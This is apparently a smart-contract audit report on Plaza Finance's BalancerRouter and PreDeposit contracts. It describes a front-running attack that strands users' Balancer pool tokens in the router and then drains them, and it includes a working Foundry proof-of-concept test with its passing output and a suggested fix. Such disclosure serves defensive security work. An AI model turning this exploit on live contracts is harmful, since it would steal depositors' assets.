Jovial Turquoise Scallop

High

# An attacker can steal assets of users who deposit through `joinBalancerAndPredeposit` function of `BalancerRouter` contract

### Summary

`joinBalancerAndPredeposit` function of `BalancerRouter` contract allows users to deposit individual assets of a Balancer pool and then join `PreDeposit` contract with returned Balancer pool tokens. However, in `PreDeposit` contract, there is a logic that cuts off deposit amount when it exceeds the `reserveCap`.
Thus, when a user calls `joinBalancerAndPredeposit` and returned Balancer pool token amount is bigger than the remaining deposit amount of `PreDeposit` contract, the differential of Balancer pool tokens are silently ignored and stuck in the `BalancerRouter` contract.

An attacker could intentially leave users' Balancer pool tokens in the router contract by depositing tokens to `PreDeposit` contract before the user, and then steals tokens stuck in the contract. Detailed steps to be followed below.

### Root Cause

The root cause of the issue comes from [PreDeposit.sol#L124-126](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/14a962c52a8f4731bbe4655a2f6d0d85e144c7c2/plaza-evm/src/PreDeposit.sol#L124-L126), where it cuts off the deposit amount when it is over `reserveCap`, as below:

```solidity
  function _deposit(uint256 amount, address onBehalfOf) private checkDepositStarted checkDepositNotEnded {
    if (reserveAmount >= reserveCap) revert DepositCapReached();

    address recipient = onBehalfOf == address(0) ? msg.sender : onBehalfOf;

    // if user would like to put more than available in cap, fill the rest up to cap and add that to reserves
    if (reserveAmount + amount >= reserveCap) {
>      amount = reserveCap - reserveAmount;
    }

    balances[recipient] += amount;
    reserveAmount += amount;

    IERC20(params.reserveToken).safeTransferFrom(msg.sender, address(this), amount);

    emit Deposited(recipient, amount);
  }
```

### Internal Pre-conditions

- `PreDeposit` contract has been setup, and its deposit period has started.
- Another pool is active in work.

### External Pre-conditions

Users try to deposit into the `PreDeposit` contract, either directly or through `BalancerRouter` contract.

### Attack Path

**Asumption**

- `PreDeposit` contract is setup for `balBTC` pool, with `reserveCap` of `10 balBTC` for example.
- `balETH` bond pool is working.

**Steps**

- A user is trying to deposit `5 balBTC` to the `PreDeposit` contract, using `joinBalancerAndPredeposit` function of `BalancerRouter` contract.
- An attacker first deposits `9.9 balBTC` first to the `PreDeposit` contract.
- When user calls `joinBalancerAndPredeposit`, only `0.1 balBTC` is deposited to `PreDeposit` contract, and `4.9 balBTC` stays in the router contract.
- Now the attacker calls `exitPlazaAndBalancer`, but with `bal ETH` related parameters for the Plaza pool.
- As a result, `4.9 balETH` reamins in the router contract, but `4.9 balBTC` worth of individual pool tokens are redeemd to the attacker.
- Thus, the attacker makes profit.

### Impact

The users who use `joinBalancerAndPredeposit` function of the `BalancerRouter` contract lose their assets, potentially nearly all of their assets, and then the attacker can redeem those assets in exchange for cheaper assets.

### PoC

Here's the test case written in Foundry, which demonstrates the issue described above.

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;

import "forge-std/Test.sol";

import {Pool} from "../src/Pool.sol";
import {Token} from "./mocks/Token.sol";
import {Utils} from "../src/lib/Utils.sol";
import {BalancerRouter} from "../src/BalancerRouter.sol";
import {PreDeposit} from "../src/PreDeposit.sol";
import {IAsset} from "@balancer/contracts/interfaces/contracts/vault/IVault.sol";
import {Token} from "./mocks/Token.sol";
import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
import {BondToken} from "../src/BondToken.sol";
import {LeverageToken} from "../src/LeverageToken.sol";
import {PoolFactory} from "../src/PoolFactory.sol";
import {Deployer} from "../src/utils/Deployer.sol";
import {Distributor} from "../src/Distributor.sol";
import {OracleFeeds} from "../src/OracleFeeds.sol";
import {MockPriceFeed} from "./mocks/MockPriceFeed.sol";
import {PreDeposit} from "../src/PreDeposit.sol";

contract MockBalancerVault {    
  mapping(bytes32 => Token) public balancerPoolTokens;
  mapping(bytes32 => mapping(address => uint256)) public joinAmounts;

  struct JoinPoolRequest {
    IAsset[] assets;
    uint256[] maxAmountsIn;
    bytes userData;
    bool fromInternalBalance;
  }

  struct ExitPoolRequest {
    IAsset[] assets;
    uint256[] minAmountsOut;
    bytes userData;
    bool toInternalBalance;
  }

  constructor() {}

  function registerBalancerPoolToken(bytes32 poolId, Token token) public {
    balancerPoolTokens[poolId] = token;
  }

  function joinPool(
    bytes32 poolId,
    address sender,
    address recipient,
    JoinPoolRequest memory request
  ) external {
    for (uint256 i = 0; i < request.assets.length; i++) {
      if (address(request.assets[i]) != address(0)) {
        Token(address(request.assets[i])).burn(sender, request.maxAmountsIn[i]);
      }
    }

    uint256 poolAmountToMint = request.maxAmountsIn[0];

    // If inputs are BTC token, need to convert decimals
    if (uint256(poolId) == 1) {
        poolAmountToMint *= 1e10;
    }

    balancerPoolTokens[poolId].mint(recipient, poolAmountToMint);
  }

  function exitPool(
    bytes32 poolId,
    address sender,
    address payable recipient,
    ExitPoolRequest memory request
  ) external {
    uint256 poolAmountToBurn = request.minAmountsOut[0];

    if (uint256(poolId) == 1) {
        poolAmountToBurn *= 1e10;
    }

    balancerPoolTokens[poolId].burn(sender, poolAmountToBurn);

    for (uint256 i = 0; i < request.assets.length; i++) {
      if (address(request.assets[i]) != address(0)) {
        Token(address(request.assets[i])).mint(recipient, request.minAmountsOut[i]);
      }
    }
  }
}

contract AuditPoC is Test {
    uint256 constant BTC_RESERVE_CAP = 10e18; // 10 balBTC

    Token private wBTC; Token private cbBTC; Token private balBTC;
    Token private wETH; Token private wstETH; Token private balETH;
    Token private USDC;

    PoolFactory private poolFactory;
    OracleFeeds private oracleFeeds;
    PreDeposit private btcPreDeposit;
    BalancerRouter private btcBalancerRouter;
    Pool private ethPool;

    PoolFactory.PoolParams private btcParams;
    PoolFactory.PoolParams private ethParams;

    address private governance = address(0x1000);
    address private alice = address(0xa11ce);
    address private attacker = address(0xa77a);

    function setUp() public {
        _setupTokens();
        _setupContracts();
    }

    function testAuditStealPreDeposit() public {
        // Preparation: mint 10 balETH and 10 balBTC to attacker
        balETH.mint(attacker, 10e18);
        balBTC.mint(attacker, 10e18);

        // Step 1: The attacker already have created 10 balETH worth of BondTokens on `ethPool`
        vm.startPrank(attacker);
        balETH.approve(address(ethPool), type(uint256).max);
        ethPool.create(Pool.TokenType.BOND, 4.9e18, 147e18); // Deposit 4.9 balETH, receive 147 ETH-BOND
        vm.stopPrank();

        // Step 2: The attacker deposits 9.9 balBTC to PreDeposit contract, this is a front-running of user's transaction that is processed on later phase
        vm.startPrank(attacker);
        balBTC.approve(address(btcPreDeposit), type(uint256).max);
        btcPreDeposit.deposit(9.9e18);
        vm.stopPrank();

        // Step 3: An honest user deposits 5 balBTC through BalancerRouter
        wBTC.mint(alice, 5e8);
        cbBTC.mint(alice, 5e8);

        IAsset[] memory assets = new IAsset[](2);
        assets[0] = IAsset(address(wBTC));
        assets[1] = IAsset(address(cbBTC));

        uint256[] memory amounts = new uint256[](2);
        amounts[0] = 5e8;
        amounts[1] = 5e8;

        vm.startPrank(alice);
        wBTC.approve(address(btcBalancerRouter), type(uint256).max);
        cbBTC.approve(address(btcBalancerRouter), type(uint256).max);
        btcBalancerRouter.joinBalancerAndPredeposit(bytes32(uint256(0x1)), address(btcPreDeposit), assets, amounts, bytes(""));
        vm.stopPrank();

        // As a result, only 0.1 balBTC is deposited to PreDeposit contract, 4.9 balBTC remains in the BalancerRouter contract.

        // Step 4: The attacker withdraws balBTC from PreDeposit contract
        vm.startPrank(attacker);
        btcPreDeposit.withdraw(9.9e18);
        vm.stopPrank();

        // Step 5: The attacker drains BTC using ETH pool, 4.9 balETH = 147 ETH-BOND, because 1 balETH = $3000, 1 ETH-BOND = $100
        vm.startPrank(attacker);

        amounts[0] = 4.9e8;
        amounts[1] = 4.9e8;
        ethPool.bondToken().approve(address(btcBalancerRouter), type(uint256).max);

        btcBalancerRouter.exitPlazaAndBalancer(
            bytes32(uint256(0x2)),
            address(ethPool),
            assets,
            147e18,
            amounts,
            bytes(""),
            Pool.TokenType.BOND,
            4.9e18
        );
        vm.stopPrank();

        // Expected assets for Attacker: 5.1 balETH + 10 balBTC + 4.9 wBTC + 4.9 cbBTC
        assertEq(balETH.balanceOf(attacker), 5.1e18);
        assertEq(balBTC.balanceOf(attacker), 10e18);
        assertEq(wBTC.balanceOf(attacker), 4.9e8);
        assertEq(cbBTC.balanceOf(attacker), 4.9e8);
    }

    function _setupContracts() private {
        // Setup Params
        btcParams = PoolFactory.PoolParams({
            fee: 0,
            reserveToken: address(balBTC),
            couponToken: address(USDC),
            distributionPeriod: 90 days,
            sharesPerToken: 2.5e6, // 2.5 USDC
            feeBeneficiary: address(0)
        });

        ethParams = PoolFactory.PoolParams({
            fee: 0,
            reserveToken: address(balETH),
            couponToken: address(USDC),
            distributionPeriod: 90 days,
            sharesPerToken: 2.5e6, // 2.5 USDC
            feeBeneficiary: address(0)
        });

        vm.startPrank(governance);

        address contractDeployer = address(new Deployer());
        oracleFeeds = new OracleFeeds();

        address poolBeacon = address(new UpgradeableBeacon(address(new Pool()), governance));
        address bondBeacon = address(new UpgradeableBeacon(address(new BondToken()), governance));
        address levBeacon = address(new UpgradeableBeacon(address(new LeverageToken()), governance));
        address distributorBeacon = address(new UpgradeableBeacon(address(new Distributor()), governance));

        poolFactory = PoolFactory(Utils.deploy(address(new PoolFactory()), abi.encodeCall(
            PoolFactory.initialize, 
            (governance, contractDeployer, address(oracleFeeds), poolBeacon, bondBeacon, levBeacon, distributorBeacon)
        )));
        
        // Create ETH Pool
        poolFactory.grantRole(poolFactory.POOL_ROLE(), governance);
        balETH.mint(governance, 10e18);
        balETH.approve(address(poolFactory), 10e18);
        ethPool = Pool(poolFactory.createPool(
            ethParams,
            10e18, // 10 ETH = 30,000 USD
            100e18, // 100 BondToken = 10,000 USD
            100e10,
            "ETH BOND",
            "ETH-BOND",
            "ETH Leverage",
            "ETH-LEV",
            false
        ));

        // Create mock balancer vault and register balBTC and balETH pools
        MockBalancerVault balancerVault = new MockBalancerVault();
        balancerVault.registerBalancerPoolToken(bytes32(uint256(0x1)), balBTC); // poolId(1) is balBTC
        balancerVault.registerBalancerPoolToken(bytes32(uint256(0x2)), balETH); // poolId(2) is balETH

        // Create BTC Balancer Router
        btcBalancerRouter = new BalancerRouter(address(balancerVault), address(balBTC));

        // Deploy PreDeposit contract
        btcPreDeposit = PreDeposit(Utils.deploy(address(new PreDeposit()), abi.encodeCall(PreDeposit.initialize, (
            btcParams,
            address(poolFactory),
            block.timestamp,
            block.timestamp + 7 days,
            BTC_RESERVE_CAP,
            "", "", "", ""
        ))));

        // Setup mock prices, for balETH and balBTC
        MockPriceFeed btcPriceFeed = new MockPriceFeed();
        btcPriceFeed.setMockPrice(100_000 * int256(10 ** 8), 8); // $100K per BTC
        oracleFeeds.setPriceFeed(address(balBTC), address(0), address(btcPriceFeed), 1 days);

        MockPriceFeed ethPriceFeed = new MockPriceFeed();
        ethPriceFeed.setMockPrice(3_000 * int256(10 ** 8), 8); // $3K per ETH
        oracleFeeds.setPriceFeed(address(balETH), address(0), address(ethPriceFeed), 1 days);

        vm.stopPrank();
    }

    function _setupTokens() private {
        wBTC = new Token("Wrapped BTC", "WBTC", false); wBTC.setDecimals(8);
        cbBTC = new Token("Coinbase BTC", "cbBTC", false); cbBTC.setDecimals(8);
        balBTC = new Token("Balancer Pool BTC", "balBTC", false); // Pool Token has 18 decimals even BTC

        wETH = new Token("Wrapped ETH", "WETH", false);
        wstETH = new Token("Lido stETH", "wstETH", false);
        balETH = new Token("Balancer Pool ETH", "balETH", false);

        USDC = new Token("USD Token", "USDC", false); USDC.setDecimals(6);
    }
}
```

To run the test, create a new test file, e.g. `Audit.t.sol` with the PoC content, and then run the command:

```bash
forge test --match-test testAuditStealPreDeposit -vv

# Output
Ran 1 test for test/Audit.t.sol:AuditPoC
[PASS] testAuditStealPreDeposit() (gas: 1249909)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.50ms (2.22ms CPU time)

Ran 1 test suite in 225.33ms (7.50ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

### Mitigation

In `deposit` function of `PreDeposit` contract, it should receive a `boolean` parameter that specifies if the user allows cutting the deposit or not when it exceeds the `reserveCap`. And then in `BalancerRouter` contract, it should pass `false` as the parameter.
